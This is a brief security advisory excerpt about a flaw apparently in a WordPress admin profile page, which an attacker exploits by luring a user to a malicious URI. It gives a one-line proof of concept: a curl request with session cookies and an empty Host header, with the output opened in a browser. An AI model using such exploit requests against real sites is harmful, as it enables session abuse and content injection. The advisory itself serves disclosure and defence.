An attacker can exploit this issue by enticing an unsuspecting user to follow a malicious URI. The following proof of concept is available: curl -H "Cookie: my cookies here" -H "Host: " http://www.example.com/wp-admin/profile.php> tmp.html $ firefox tmp.html